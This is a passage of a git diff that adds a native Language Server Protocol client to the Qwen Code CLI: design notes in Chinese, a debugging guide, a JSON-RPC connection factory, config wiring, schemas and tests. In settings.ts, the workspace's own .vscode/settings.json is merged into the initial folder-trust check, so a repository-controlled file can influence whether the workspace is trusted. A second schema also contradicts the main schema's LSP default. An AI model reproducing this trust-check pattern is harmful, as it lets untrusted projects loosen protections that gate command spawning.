4.2.1 LspConnectionFactory +- 使用 `vscode-jsonrpc` 和 `vscode-languageserver-protocol` 实现 LSP 连接 +- 支持 stdio 传输方式，可以扩展支持 TCP 传输 +- 提供连接创建、初始化和关闭的完整生命周期管理 + +#### 4.2.2 NativeLspService +- **语言检测**：扫描项目文件和配置文件来识别编程语言 +- **配置合并**：按优先级合并内置预设、用户配置和兼容层配置 +- **LSP 服务器管理**：启动、停止和状态管理 +- **安全控制**：与 MCP 共享的信任和确认机制 + +#### 4.2.3 配置架构 +- **内置预设**：为常见语言提供默认 LSP 服务器配置 +- **用户配置**：支持 `.lsp.json` 文件格式 +- **Claude 兼容**：可导入 Claude Code 的 LSP 配置 + +### 4.3 依赖管理 +- 使用 `vscode-languageserver-protocol` 进行 LSP 协议通信 +- 使用 `vscode-jsonrpc` 进行 JSON-RPC 消息传递 +- 使用 `vscode-languageserver-textdocument` 管理文档版本 + +### 4.4 安全特性 +- 工作区信任检查 +- 用户确认机制（对于非信任工作区） +- 命令存在性验证 +- 路径安全性检查 + +## 5. 总结 + +原生 LSP 客户端是当前最符合 Qwen Code 架构的选择，它提供了完整的 LSP 功能、更低的延迟和更好的用户体验。LSP 作为与 MCP 并行的一级扩展机制，将与 MCP 共享安全控制策略，但提供更丰富的代码智能功能。cclsp+MCP 可作为兼容层保留，以支持现有的 MCP 工作流。 + +该实现方案将使 Qwen Code CLI 具备完整的 LSP 功能，包括代码跳转、引用查找、自动补全、代码诊断等，为 AI 代理提供更丰富的代码理解能力。 \ No newline at end of file diff --git a/package-lock.json b/package-lock.json index 330b90e08..5f9c347ba 100644 --- a/package-lock.json +++ b/package-lock.json @@ -39,6 +39,7 @@ "globals": "^16.0.0", "husky": "^9.1.7", "json": "^11.0.0", + "json-schema": "^0.4.0", "lint-staged": "^16.1.6", "memfs": "^4.42.0", "mnemonist": "^0.40.3", @@ -10807,6 +10808,13 @@ "node": "^18.17.0 || >=20.5.0" } }, + "node_modules/json-schema": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", + "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==", + "dev": true, + "license": "(AFL-2.1 OR BSD-3-Clause)" + }, "node_modules/json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", diff --git a/package.json b/package.json index c239067ff..fd60b2a1c 100644 --- a/package.json +++ b/package.json @@ -94,6 +94,7 @@ "globals": "^16.0.0", "husky": "^9.1.7", "json": "^11.0.0", + "json-schema": "^0.4.0", "lint-staged": "^16.1.6", "memfs": "^4.42.0", "mnemonist": "^0.40.3", diff --git a/packages/cli/LSP_DEBUGGING_GUIDE.md b/packages/cli/LSP_DEBUGGING_GUIDE.md new file mode 100644 index 000000000..7833e8b87 --- /dev/null +++ b/packages/cli/LSP_DEBUGGING_GUIDE.md @@ -0,0 +1,107 @@ +# LSP 调试指南 + +本指南介绍如何调试 packages/cli 中的 LSP (Language Server Protocol) 功能。 + +## 1. 启用调试模式 + +CLI 支持调试模式，可以提供额外的日志信息： + +```bash +# 使用 debug 标志运行 +qwen --debug [你的命令] + +# 或设置环境变量 +DEBUG=true qwen [你的命令] +DEBUG_MODE=true qwen [你的命令] +``` + +## 2. LSP 配置选项 + +LSP 功能通过设置系统配置，包含以下选项： + +- `lsp.enabled`: 启用/禁用原生 LSP 客户端（默认为 `false`） +- `lsp.allowed`: 允许的 LSP 服务器名称白名单 +- `lsp.excluded`: 排除的 LSP 服务器名称黑名单 + +在 settings.json 中的示例配置： +```json +{ + "lsp": { + "enabled": true, + "allowed": ["typescript-language-server", "pylsp"], + "excluded": ["gopls"] + } +} +``` + +## 3. NativeLspService 调试功能 + +`NativeLspService` 类包含几个调试功能： + +### 3.1 控制台日志 +服务向控制台输出状态消息： +- `LSP 服务器 ${name} 启动成功` - 服务器成功启动 +- `LSP 服务器 ${name} 启动失败` - 服务器启动失败 +- `工作区不受信任，跳过 LSP 服务器发现` - 工作区不受信任，跳过发现 + +### 3.2 错误处理 +服务具有全面的错误处理和详细的错误消息 + +### 3.3 状态跟踪 +您可以通过 `getStatus()` 方法检查所有 LSP 服务器的状态 + +## 4. 调试命令 + +```bash +# 启用调试运行 +qwen --debug --prompt "调试 LSP 功能" + +# 检查在您的项目中检测到哪些 LSP 服务器 +# 系统会自动检测语言和相应的 LSP 服务器 +``` + +## 5. 手动 LSP 服务器配置 + +您还可以在项目根目录使用 `.lsp.json` 文件手动配置 LSP 服务器： + +```json +{ + "python": { + "command": "pylsp", + "args": [], + "transport": "stdio", + "trustRequired": true + } +} +``` + +## 6. LSP 问题排查 + +### 6.1 检查 LSP 服务器是否已安装 +- 对于 TypeScript/JavaScript: `typescript-language-server` +- 对于 Python: `pylsp` +- 对于 Go: `gopls` + +### 6.2 验证工作区信任 +- LSP 服务器可能需要受信任的工作区才能启动 +- 检查 `security.folderTrust.enabled` 设置 + +### 6.3 查看日志 +- 查找以 `LSP 服务器` 开头的控制台消息 +- 检查命令存在性和路径安全性问题 + +## 7. LSP 服务启动流程 + +LSP 服务的启动遵循以下流程： + +1. **发现和准备**: `discoverAndPrepare()` 方法检测工作区中的编程语言 +2. **创建服务器句柄**: 根据检测到的语言创建对应的服务器句柄 +3. **启动服务器**: `start()` 方法启动所有服务器句柄 +4. **状态管理**: 服务器状态在 `NOT_STARTED`, `IN_PROGRESS`, `READY`, `FAILED` 之间转换 + +## 8. 调试技巧 + +- 使用 `--debug` 标志查看详细的启动过程 +- 检查工作区是否受信任（影响 LSP 服务器启动） +- 确认 LSP 服务器命令在系统 PATH 中可用 +- 使用 `getStatus()` 方法监控服务器运行状态 \ No newline at end of file diff --git a/packages/cli/src/config/config.test.ts b/packages/cli/src/config/config.test.ts index 0b95f7857..59ccd5509 100644 --- a/packages/cli/src/config/config.test.ts +++ b/packages/cli/src/config/config.test.ts @@ -21,6 +21,23 @@ import * as ServerConfig from '@qwen-code/qwen-code-core'; import { isWorkspaceTrusted } from './trustedFolders.js'; import { ExtensionEnablementManager } from './extensions/extensionEnablement.js'; +const mockDiscoverAndPrepare = vi.fn(); +const mockStartLsp = vi.fn(); +const mockDefinitions = vi.fn().mockResolvedValue([]); +const mockReferences = vi.fn().mockResolvedValue([]); +const mockWorkspaceSymbols = vi.fn().mockResolvedValue([]); +const nativeLspServiceMock = vi.fn().mockImplementation(() => ({ + discoverAndPrepare: mockDiscoverAndPrepare, + start: mockStartLsp, + definitions: mockDefinitions, + references: mockReferences, + workspaceSymbols: mockWorkspaceSymbols, +})); + +vi.mock('../services/lsp/NativeLspService.js', () => ({ + NativeLspService: nativeLspServiceMock, +})); + vi.mock('./trustedFolders.js', () => ({ isWorkspaceTrusted: vi .fn() @@ -518,6 +535,16 @@ describe('loadCliConfig', () => { beforeEach(() => { vi.resetAllMocks(); + mockDiscoverAndPrepare.mockReset(); + mockStartLsp.mockReset(); + mockWorkspaceSymbols.mockReset(); + mockWorkspaceSymbols.mockResolvedValue([]); + nativeLspServiceMock.mockReset(); + nativeLspServiceMock.mockImplementation(() => ({ + discoverAndPrepare: mockDiscoverAndPrepare, + start: mockStartLsp, + workspaceSymbols: mockWorkspaceSymbols, + })); vi.mocked(os.homedir).mockReturnValue('/mock/home/user'); vi.stubEnv('GEMINI_API_KEY', 'test-api-key'); }); @@ -587,6 +614,61 @@ describe('loadCliConfig', () => { expect(config.getShowMemoryUsage()).toBe(false); }); + it('should initialize native LSP service when enabled', async () => { + process.argv = ['node', 'script.js']; + const argv = await parseArguments({} as Settings); + const settings: Settings = { + lsp: { + enabled: true, + allowed: ['typescript-language-server'], + excluded: ['pylsp'], + }, + }; + + const config = await loadCliConfig( + settings, + [], + new ExtensionEnablementManager( + ExtensionStorage.getUserExtensionsDir(), + argv.extensions, + ), + argv, + ); + + expect(config.isLspEnabled()).toBe(true); + expect(config.getLspAllowed()).toEqual(['typescript-language-server']); + expect(config.getLspExcluded()).toEqual(['pylsp']); + expect(nativeLspServiceMock).toHaveBeenCalledTimes(1); + expect(mockDiscoverAndPrepare).toHaveBeenCalledTimes(1); + expect(mockStartLsp).toHaveBeenCalledTimes(1); + + const options = nativeLspServiceMock.mock.calls[0][5]; + expect(options?.allowedServers).toEqual(['typescript-language-server']); + expect(options?.excludedServers).toEqual(['pylsp']); + }); + + it('should skip native LSP startup when startLsp option is false', async () => { + process.argv = ['node', 'script.js']; + const argv = await parseArguments({} as Settings); + const settings: Settings = { lsp: { enabled: true } }; + + const config = await loadCliConfig( + settings, + [], + new ExtensionEnablementManager( + ExtensionStorage.getUserExtensionsDir(), + argv.extensions, + ), + argv, + undefined, + { startLsp: false }, + ); + + expect(config.isLspEnabled()).toBe(true); + expect(nativeLspServiceMock).not.toHaveBeenCalled(); + expect(mockDiscoverAndPrepare).not.toHaveBeenCalled(); + }); + it('should set showMemoryUsage to false by default from settings if CLI flag is not present', async () => { process.argv = ['node', 'script.js']; const argv = await parseArguments({} as Settings); diff --git a/packages/cli/src/config/config.ts b/packages/cli/src/config/config.ts index 7cd7d685a..0715725e6 100755 --- a/packages/cli/src/config/config.ts +++ b/packages/cli/src/config/config.ts @@ -23,9 +23,11 @@ import { InputFormat, OutputFormat, SessionService, + ideContextStore, type ResumedSessionData, type FileFilteringOptions, type MCPServerConfig, + type LspClient, } from '@qwen-code/qwen-code-core'; import { extensionsCommand } from '../commands/extensions.js'; import type { Settings } from './settings.js'; @@ -42,6 +44,7 @@ import { annotateActiveExtensions } from './extension.js'; import { loadSandboxConfig } from './sandboxConfig.js'; import { appEvents } from '../utils/events.js'; import { mcpCommand } from '../commands/mcp.js'; +import { NativeLspService } from '../services/lsp/NativeLspService.js'; import { isWorkspaceTrusted } from './trustedFolders.js'; import type { ExtensionEnablementManager } from './extensions/extensionEnablement.js'; @@ -147,6 +150,44 @@ export interface CliArgs { channel: string | undefined; } +export interface LoadCliConfigOptions { + /** + * Whether to start the native LSP service during config load. + * Disable when doing preflight runs (e.g., sandbox preparation). + */ + startLsp?: boolean; +} + +class NativeLspClient implements LspClient { + constructor(private readonly service: NativeLspService) {} + + workspaceSymbols(query: string, limit?: number) { + return this.service.workspaceSymbols(query, limit); + } + + definitions( + location: Parameters[0], + serverName?: string, + limit?: number, + ) { + return this.service.definitions(location, serverName, limit); + } + + references( + location: Parameters[0], + serverName?: string, + includeDeclaration?: boolean, + limit?: number, + ) { + return this.service.references( + location, + serverName, + includeDeclaration, + limit, + ); + } +} + function normalizeOutputFormat( format: string | OutputFormat | undefined, ): OutputFormat | undefined { @@ -655,6 +696,7 @@ export async function loadCliConfig( extensionEnablementManager: ExtensionEnablementManager, argv: CliArgs, cwd: string = process.cwd(), + options: LoadCliConfigOptions = {}, ): Promise { const debugMode = isDebugMode(argv); @@ -731,6 +773,12 @@ export async function loadCliConfig( ); let mcpServers = mergeMcpServers(settings, activeExtensions); + + // LSP configuration derived from settings; defaults to disabled for safety. + const lspEnabled = settings.lsp?.enabled ?? false; + const lspAllowed = settings.lsp?.allowed ?? settings.mcp?.allowed; + const lspExcluded = settings.lsp?.excluded ?? settings.mcp?.excluded; + let lspClient: LspClient | undefined; const question = argv.promptInteractive || argv.prompt || ''; const inputFormat: InputFormat = (argv.inputFormat as InputFormat | undefined) ?? InputFormat.TEXT; @@ -934,7 +982,7 @@ export async function loadCliConfig( } } - return new Config({ + const config = new Config({ sessionId, sessionData, embeddingModel: DEFAULT_QWEN_EMBEDDING_MODEL, @@ -1037,7 +1085,39 @@ export async function loadCliConfig( // always be true and the settings file can never disable recording. chatRecording: argv.chatRecording ?? settings.general?.chatRecording ?? true, + lsp: { + enabled: lspEnabled, + allowed: lspAllowed, + excluded: lspExcluded, + }, }); + + const shouldStartLsp = options.startLsp ?? true; + if (shouldStartLsp && lspEnabled) { + try { + const lspService = new NativeLspService( + config, + config.getWorkspaceContext(), + appEvents, + fileService, + ideContextStore, + { + allowedServers: lspAllowed, + excludedServers: lspExcluded, + requireTrustedWorkspace: folderTrust, + }, + ); + + await lspService.discoverAndPrepare(); + await lspService.start(); + lspClient = new NativeLspClient(lspService); + config.setLspClient(lspClient); + } catch (err) { + logger.warn('Failed to initialize native LSP service:', err); + } + } + + return config; } function allowedMcpServers( diff --git a/packages/cli/src/config/lspSettingsSchema.ts b/packages/cli/src/config/lspSettingsSchema.ts new file mode 100644 index 000000000..c8d3f1b33 --- /dev/null +++ b/packages/cli/src/config/lspSettingsSchema.ts @@ -0,0 +1,38 @@ +import type { JSONSchema7 } from 'json-schema'; + +export const lspSettingsSchema: JSONSchema7 = { + type: 'object', + properties: { + 'lsp.enabled': { + type: 'boolean', + default: true, + description: '启用 LSP 语言服务器协议支持' + }, + 'lsp.allowed': { + type: 'array', + items: { + type: 'string' + }, + default: [], + description: '允许运行的 LSP 服务器列表' + }, + 'lsp.excluded': { + type: 'array', + items: { + type: 'string' + }, + default: [], + description: '禁止运行的 LSP 服务器列表' + }, + 'lsp.autoDetect': { + type: 'boolean', + default: true, + description: '自动检测项目语言并启动相应 LSP 服务器' + }, + 'lsp.serverTimeout': { + type: 'number', + default: 10000, + description: 'LSP 服务器启动超时时间（毫秒）' + } + } +}; \ No newline at end of file diff --git a/packages/cli/src/config/settings.ts b/packages/cli/src/config/settings.ts index ae29074b2..1f49fadd4 100644 --- a/packages/cli/src/config/settings.ts +++ b/packages/cli/src/config/settings.ts @@ -160,6 +160,34 @@ export function getSystemDefaultsPath(): string { ); } +function getVsCodeSettingsPath(workspaceDir: string): string { + return path.join(workspaceDir, '.vscode', 'settings.json'); +} + +function loadVsCodeSettings(workspaceDir: string): Settings { + const vscodeSettingsPath = getVsCodeSettingsPath(workspaceDir); + try { + if (fs.existsSync(vscodeSettingsPath)) { + const content = fs.readFileSync(vscodeSettingsPath, 'utf-8'); + const rawSettings: unknown = JSON.parse(stripJsonComments(content)); + + if ( + typeof rawSettings !== 'object' || + rawSettings === null || + Array.isArray(rawSettings) + ) { + console.error(`VS Code settings file is not a valid JSON object: ${vscodeSettingsPath}`); + return {}; + } + + return rawSettings as Settings; + } + } catch (error: unknown) { + console.error(`Error loading VS Code settings from ${vscodeSettingsPath}:`, getErrorMessage(error)); + } + return {}; +} + export type { DnsResolutionOrder } from './settingsSchema.js'; export enum SettingScope { @@ -632,6 +660,9 @@ export function loadSettings( workspaceDir, ).getWorkspaceSettingsPath(); + // Load VS Code settings as an additional source of configuration + const vscodeSettings = loadVsCodeSettings(workspaceDir); + const loadAndMigrate = ( filePath: string, scope: SettingScope, @@ -736,6 +767,14 @@ export function loadSettings( userSettings = resolveEnvVarsInObject(userResult.settings); workspaceSettings = resolveEnvVarsInObject(workspaceResult.settings); + // Merge VS Code settings into workspace settings (VS Code settings take precedence) + workspaceSettings = customDeepMerge( + getMergeStrategyForPath, + {}, + workspaceSettings, + vscodeSettings, + ) as Settings; + // Support legacy theme names if (userSettings.ui?.theme === 'VS') { userSettings.ui.theme = DefaultLight.name; @@ -749,11 +788,13 @@ export function loadSettings( } // For the initial trust check, we can only use user and system settings. + // We also include VS Code settings as they may contain trust-related settings const initialTrustCheckSettings = customDeepMerge( getMergeStrategyForPath, {}, systemSettings, userSettings, + vscodeSettings, // Include VS Code settings ); const isTrusted = isWorkspaceTrusted(initialTrustCheckSettings as Settings).isTrusted ?? true; @@ -767,9 +808,18 @@ export function loadSettings( isTrusted, ); + // Add VS Code settings to the temp merged settings for environment loading + // Since loadEnvironment depends on settings, we need to consider VS Code settings as well + const tempMergedSettingsWithVsCode = customDeepMerge( + getMergeStrategyForPath, + {}, + tempMergedSettings, + vscodeSettings, + ) as Settings; + // loadEnviroment depends on settings so we have to create a temp version of // the settings to avoid a cycle - loadEnvironment(tempMergedSettings); + loadEnvironment(tempMergedSettingsWithVsCode); // Create LoadedSettings first diff --git a/packages/cli/src/config/settingsSchema.ts b/packages/cli/src/config/settingsSchema.ts index 2fe467ba9..c392caf1f 100644 --- a/packages/cli/src/config/settingsSchema.ts +++ b/packages/cli/src/config/settingsSchema.ts @@ -1007,6 +1007,47 @@ const SETTINGS_SCHEMA = { }, }, }, + lsp: { + type: 'object', + label: 'LSP', + category: 'LSP', + requiresRestart: true, + default: {}, + description: 'Settings for the native Language Server Protocol integration.', + showInDialog: false, + properties: { + enabled: { + type: 'boolean', + label: 'Enable LSP', + category: 'LSP', + requiresRestart: true, + default: false, + description: + 'Enable the native LSP client to connect to language servers discovered in the workspace.', + showInDialog: false, + }, + allowed: { + type: 'array', + label: 'Allow LSP Servers', + category: 'LSP', + requiresRestart: true, + default: undefined as string[] | undefined, + description: + 'Optional allowlist of LSP server names. If set, only matching servers will start.', + showInDialog: false, + }, + excluded: { + type: 'array', + label: 'Exclude LSP Servers', + category: 'LSP', + requiresRestart: true, + default: undefined as string[] | undefined, + description: + 'Optional blocklist of LSP server names that should not start.', + showInDialog: false, + }, + }, + }, useSmartEdit: { type: 'boolean', label: 'Use Smart Edit', diff --git a/packages/cli/src/gemini.tsx b/packages/cli/src/gemini.tsx index b05f12453..0aeb285a0 100644 --- a/packages/cli/src/gemini.tsx +++ b/packages/cli/src/gemini.tsx @@ -248,6 +248,8 @@ export async function main() { [], new ExtensionEnablementManager(ExtensionStorage.getUserExtensionsDir()), argv, + undefined, + { startLsp: false }, ); if ( diff --git a/packages/cli/src/services/lsp/LspConnectionFactory.ts b/packages/cli/src/services/lsp/LspConnectionFactory.ts new file mode 100644 index 000000000..e18262ed6 --- /dev/null +++ b/packages/cli/src/services/lsp/LspConnectionFactory.ts @@ -0,0 +1,358 @@ +import * as cp from 'node:child_process'; +import * as net from 'node:net'; + +interface PendingRequest { + resolve: (value: unknown) => void; + reject: (reason?: unknown) => void; + timer: NodeJS.Timeout; +} + +class JsonRpcConnection { + private buffer = ''; + private nextId = 1; + private disposed = false; + private pendingRequests = new Map(); + private notificationHandlers: Array<(notification: JsonRpcMessage) => void> = []; + private requestHandlers: Array<(request: JsonRpcMessage) => Promise> = []; + + constructor( + private readonly writer: (data: string) => void, + private readonly disposer?: () => void, + ) {} + + listen(readable: NodeJS.ReadableStream): void { + readable.on('data', (chunk: Buffer) => this.handleData(chunk)); + readable.on('error', (error) => + this.disposePending( + error instanceof Error ? error : new Error(String(error)), + ), + ); + } + + send(message: JsonRpcMessage): void { + this.writeMessage(message); + } + + onNotification(handler: (notification: JsonRpcMessage) => void): void { + this.notificationHandlers.push(handler); + } + + onRequest(handler: (request: JsonRpcMessage) => Promise): void { + this.requestHandlers.push(handler); + } + + async initialize(params: unknown): Promise { + return this.sendRequest('initialize', params); + } + + async shutdown(): Promise { + try { + await this.sendRequest('shutdown', {}); + } catch (_error) { + // Ignore shutdown errors – the server may already be gone. + } finally { + this.end(); + } + } + + request(method: string, params: unknown): Promise { + return this.sendRequest(method, params); + } + + end(): void { + if (this.disposed) { + return; + } + this.disposed = true; + this.disposePending(); + this.disposer?.(); + } + + private sendRequest(method: string, params: unknown): Promise { + if (this.disposed) { + return Promise.resolve(undefined); + } + + const id = this.nextId++; + const payload: JsonRpcMessage = { + jsonrpc: '2.0', + id, + method, + params, + }; + + const requestPromise = new Promise((resolve, reject) => { + const timer = setTimeout(() => { + this.pendingRequests.delete(id); + reject(new Error(`LSP request timeout: ${method}`)); + }, 15000); + + this.pendingRequests.set(id, { resolve, reject, timer }); + }); + + this.writeMessage(payload); + return requestPromise; + } + + private async handleServerRequest(message: JsonRpcMessage): Promise { + const handler = this.requestHandlers[this.requestHandlers.length - 1]; + if (!handler) { + this.writeMessage({ + jsonrpc: '2.0', + id: message.id, + error: { + code: -32601, + message: `Method not supported: ${message.method}`, + }, + }); + return; + } + + try { + const result = await handler(message); + this.writeMessage({ + jsonrpc: '2.0', + id: message.id, + result: result ?? null, + }); + } catch (error) { + this.writeMessage({ + jsonrpc: '2.0', + id: message.id, + error: { + code: -32603, + message: (error as Error).message ?? 'Internal error', + }, + }); + } + } + + private handleData(chunk: Buffer): void { + if (this.disposed) { + return; + } + + this.buffer += chunk.toString('utf8'); + + while (true) { + const headerEnd = this.buffer.indexOf('\r\n\r\n'); + if (headerEnd === -1) { + break; + } + + const header = this.buffer.slice(0, headerEnd); + const lengthMatch = /Content-Length:\s*(\d+)/i.exec(header); + if (!lengthMatch) { + this.buffer = this.buffer.slice(headerEnd + 4); + continue; + } + + const contentLength = Number(lengthMatch[1]); + const messageStart = headerEnd + 4; + const messageEnd = messageStart + contentLength; + + if (this.buffer.length < messageEnd) { + break; + } + + const body = this.buffer.slice(messageStart, messageEnd); + this.buffer = this.buffer.slice(messageEnd); + + try { + const message = JSON.parse(body); + this.routeMessage(message); + } catch { + // ignore malformed messages + } + } + } + + private routeMessage(message: JsonRpcMessage): void { + if (typeof message?.id !== 'undefined' && !message.method) { + const pending = this.pendingRequests.get(message.id); + if (!pending) { + return; + } + clearTimeout(pending.timer); + this.pendingRequests.delete(message.id); + if (message.error) { + pending.reject( + new Error(message.error.message || 'LSP request failed'), + ); + } else { + pending.resolve(message.result); + } + return; + } + + if (message?.method && typeof message.id !== 'undefined') { + void this.handleServerRequest(message); + return; + } + + if (message?.method) { + for (const handler of this.notificationHandlers) { + try { + handler(message); + } catch { + // ignore handler errors + } + } + } + } + + private writeMessage(message: JsonRpcMessage): void { + if (this.disposed) { + return; + } + const json = JSON.stringify(message); + const header = `Content-Length: ${Buffer.byteLength(json, 'utf8')}\r\n\r\n`; + this.writer(header + json); + } + + private disposePending(error?: Error): void { + for (const [, pending] of this.pendingRequests) { + clearTimeout(pending.timer); + pending.reject(error ?? new Error('LSP connection closed')); + } + this.pendingRequests.clear(); + } +} + +interface LspConnection { + connection: JsonRpcConnection; + process?: cp.ChildProcess; + socket?: net.Socket; +} + +interface JsonRpcMessage { + jsonrpc: string; + id?: number | string; + method?: string; + params?: any; + result?: any; + error?: { + code: number; + message: string; + data?: any; + }; +} + +export class LspConnectionFactory { + /** + * 创建基于 stdio 的 LSP 连接 + */ + static async createStdioConnection( + command: string, + args: string[], + options?: cp.SpawnOptions, + ): Promise { + return new Promise((resolve, reject) => { + const spawnOptions: cp.SpawnOptions = { + stdio: 'pipe', + ...options, + }; + const processInstance = cp.spawn(command, args, spawnOptions); + + const timeoutId = setTimeout(() => { + reject(new Error('LSP server spawn timeout')); + if (!processInstance.killed) { + processInstance.kill(); + } + }, 10000); + + processInstance.once('error', (error) => { + clearTimeout(timeoutId); + reject(new Error(`Failed to spawn LSP server: ${error.message}`)); + }); + + processInstance.once('spawn', () => { + clearTimeout(timeoutId); + + if (!processInstance.stdout || !processInstance.stdin) { + reject(new Error('LSP server stdio not available')); + return; + } + + const connection = new JsonRpcConnection( + (payload) => processInstance.stdin?.write(payload), + () => processInstance.stdin?.end(), + ); + + connection.listen(processInstance.stdout); + processInstance.once('exit', () => connection.end()); + processInstance.once('close', () => connection.end()); + + resolve({ + connection, + process: processInstance, + }); + }); + }); + } + + /** + * 创建基于 TCP 的 LSP 连接 + */ + static async createTcpConnection( + host: string, + port: number, + ): Promise { + return new Promise((resolve, reject) => { + const socket = net.createConnection({ host, port }); + + const timeoutId = setTimeout(() => { + reject(new Error('LSP server connection timeout')); + socket.destroy(); + }, 10000); + + const onError = (error: Error) => { + clearTimeout(timeoutId); + reject(new Error(`Failed to connect to LSP server: ${error.message}`)); + }; + + socket.once('error', onError); + + socket.on('connect', () => { + clearTimeout(timeoutId); + socket.off('error', onError); + + const connection = new JsonRpcConnection( + (payload) => socket.write(payload), + () => socket.destroy(), + ); + connection.listen(socket); + socket.once('close', () => connection.end()); + socket.once('error', () => connection.end()); + + resolve({ + connection, + socket, + }); + }); + }); + } + + /** + * 关闭 LSP 连接 + */ + static async closeConnection(lspConnection: LspConnection): Promise { + if (lspConnection.connection) { + try { + await lspConnection.connection.shutdown(); + } catch (e) { + console.warn('LSP shutdown failed:', e); + } finally { + lspConnection.connection.end(); + } + } + + if (lspConnection.process && !lspConnection.process.killed) { + lspConnection.process.kill(); + } + + if (lspConnection.socket && !lspConnection.socket.destroyed) { + lspConnection.socket.destroy(); + } + } +} diff --git a/packages/cli/src/services/lsp/NativeLspService.test.ts b/packages/cli/src/services/lsp/NativeLspService.test.ts new file mode 100644 index 000000000..1fadd620a --- /dev/null +++ b/packages/cli/src/services/lsp/NativeLspService.test.ts @@ -0,0 +1,126 @@ +/* eslint-disable @typescript-eslint/no-unused-vars */ +import { NativeLspService } from './NativeLspService.js'; +import type { Config as CoreConfig } from '@qwen-code/qwen-code-core'; +import { WorkspaceContext } from '@qwen-code/qwen-code-core'; +import { EventEmitter } from 'events'; +import { FileDiscoveryService } from '@qwen-code/qwen-code-core'; +import { IdeContextStore } from '@qwen-code/qwen-code-core'; + +// 模拟依赖项 +class MockConfig { + rootPath = '/test/workspace'; + + isTrustedFolder(): boolean { + return true; + } + + get(key: string) { + return undefined; + } + + getProjectRoot(): string { + return this.rootPath; + } +} + +class MockWorkspaceContext { + rootPath = '/test/workspace'; + + async fileExists(path: string): Promise { + return path.endsWith('.json') || path.includes('package.json'); + } + + async readFile(path: string): Promise { + if (path.includes('.lsp.json')) { + return JSON.stringify({ + 'typescript': { + 'command': 'typescript-language-server', + 'args': ['--stdio'], + 'transport': 'stdio' + } + }); + } + return '{}'; + } + + resolvePath(path: string): string { + return this.rootPath + '/' + path; + } + + isPathWithinWorkspace(path: string): boolean { + return true; + } + + getDirectories(): string[] { + return [this.rootPath]; + } +} + +class MockFileDiscoveryService { + async discoverFiles(root: string, options: any): Promise { + // 模拟发现一些文件 + return [ + '/test/workspace/src/index.ts', + '/test/workspace/src/utils.ts', + '/test/workspace/server.py', + '/test/workspace/main.go' + ]; + } + + shouldIgnoreFile(): boolean { + return false; + } +} + +class MockIdeContextStore { + // 模拟 IDE 上下文存储 +} + +describe('NativeLspService', () => { + let lspService: NativeLspService; + let mockConfig: MockConfig; + let mockWorkspace: MockWorkspaceContext; + let mockFileDiscovery: MockFileDiscoveryService; + let mockIdeStore: MockIdeContextStore; + let eventEmitter: EventEmitter; + + beforeEach(() => { + mockConfig = new MockConfig(); + mockWorkspace = new MockWorkspaceContext(); + mockFileDiscovery = new MockFileDiscoveryService(); + mockIdeStore = new MockIdeContextStore(); + eventEmitter = new EventEmitter(); + + lspService = new NativeLspService( + mockConfig as any, + mockWorkspace as any, + eventEmitter, + mockFileDiscovery as any, + mockIdeStore as any + ); + }); + + test('should initialize correctly', () => { + expect(lspService).toBeDefined(); + }); + + test('should detect languages from workspace files', async () => { + // 这个测试需要修改，因为我们无法直接访问私有方法 + await lspService.discoverAndPrepare(); + const status = lspService.getStatus(); + + // 检查服务是否已准备就绪 + expect(status).toBeDefined(); + }); + + test('should merge built-in presets with user configs', async () => { + await lspService.discoverAndPrepare(); + + const status = lspService.getStatus(); + // 检查服务是否已准备就绪 + expect(status).toBeDefined(); + }); +}); + +// 注意：实际的单元测试需要适当的测试框架配置 +// 这里只是一个结构示例 diff --git a/packages/cli/src/services/lsp/NativeLspService.ts b/packages/cli/src/services/lsp/NativeLspService.ts new file mode 100644 index 000000000..aca87e3e6 --- /dev/null +++ b/packages/cli/src/services/lsp/NativeLspService.ts @@ -0,0 +1,1075 @@ +import type { Config as CoreConfig } from '@qwen-code/qwen-code-core'; +import type { WorkspaceContext } from '@qwen-code/qwen-code-core'; +import type { EventEmitter } from 'events'; +import type { FileDiscoveryService } from '@qwen-code/qwen-code-core'; +import type { IdeContextStore } from '@qwen-code/qwen-code-core'; +import { LspConnectionFactory } from './LspConnectionFactory.js'; +import type { + LspLocation, + LspDefinition, + LspReference, + LspSymbolInformation, +} from '@qwen-code/qwen-code-core'; +import * as path from 'path'; +import { pathToFileURL } from 'url'; +import { spawn, type ChildProcess } from 'node:child_process'; +import * as fs from 'node:fs'; +import { globSync } from 'glob'; + +// 定义 LSP 初始化选项的类型 +interface LspInitializationOptions { + [key: string]: any; +} + +// 定义 LSP 服务器配置类型 +interface LspServerConfig { + name: string; + languages: string[]; + command: string; + args: string[]; + transport: 'stdio' | 'tcp'; + initializationOptions?: LspInitializationOptions; + rootUri: string; + trustRequired?: boolean; +} + +// 定义 LSP 连接接口 +interface LspConnectionInterface { + listen: (readable: NodeJS.ReadableStream) => void; + send: (message: any) => void; + onNotification: (handler: (notification: any) => void) => void; + onRequest: (handler: (request: any) => Promise) => void; + request: (method: string, params: any) => Promise; + initialize: (params: any) => Promise; + shutdown: () => Promise; + end: () => void; +} + +// 定义 LSP 服务器状态 +type LspServerStatus = 'NOT_STARTED' | 'IN_PROGRESS' | 'READY' | 'FAILED'; + +// 定义 LSP 服务器句柄 +interface LspServerHandle { + config: LspServerConfig; + status: LspServerStatus; + connection?: LspConnectionInterface; + process?: ChildProcess; + error?: Error; + warmedUp?: boolean; +} + +interface NativeLspServiceOptions { + allowedServers?: string[]; + excludedServers?: string[]; + requireTrustedWorkspace?: boolean; + workspaceRoot?: string; +} + +export class NativeLspService { + private serverHandles: Map = new Map(); + private config: CoreConfig; + private workspaceContext: WorkspaceContext; + private fileDiscoveryService: FileDiscoveryService; + private allowedServers?: string[]; + private excludedServers?: string[]; + private requireTrustedWorkspace: boolean; + private workspaceRoot: string; + + constructor( + config: CoreConfig, + workspaceContext: WorkspaceContext, + _eventEmitter: EventEmitter, // 未使用，用下划线前缀 + fileDiscoveryService: FileDiscoveryService, + _ideContextStore: IdeContextStore, // 未使用，用下划线前缀 + options: NativeLspServiceOptions = {}, + ) { + this.config = config; + this.workspaceContext = workspaceContext; + this.fileDiscoveryService = fileDiscoveryService; + this.allowedServers = options.allowedServers?.filter(Boolean); + this.excludedServers = options.excludedServers?.filter(Boolean); + this.requireTrustedWorkspace 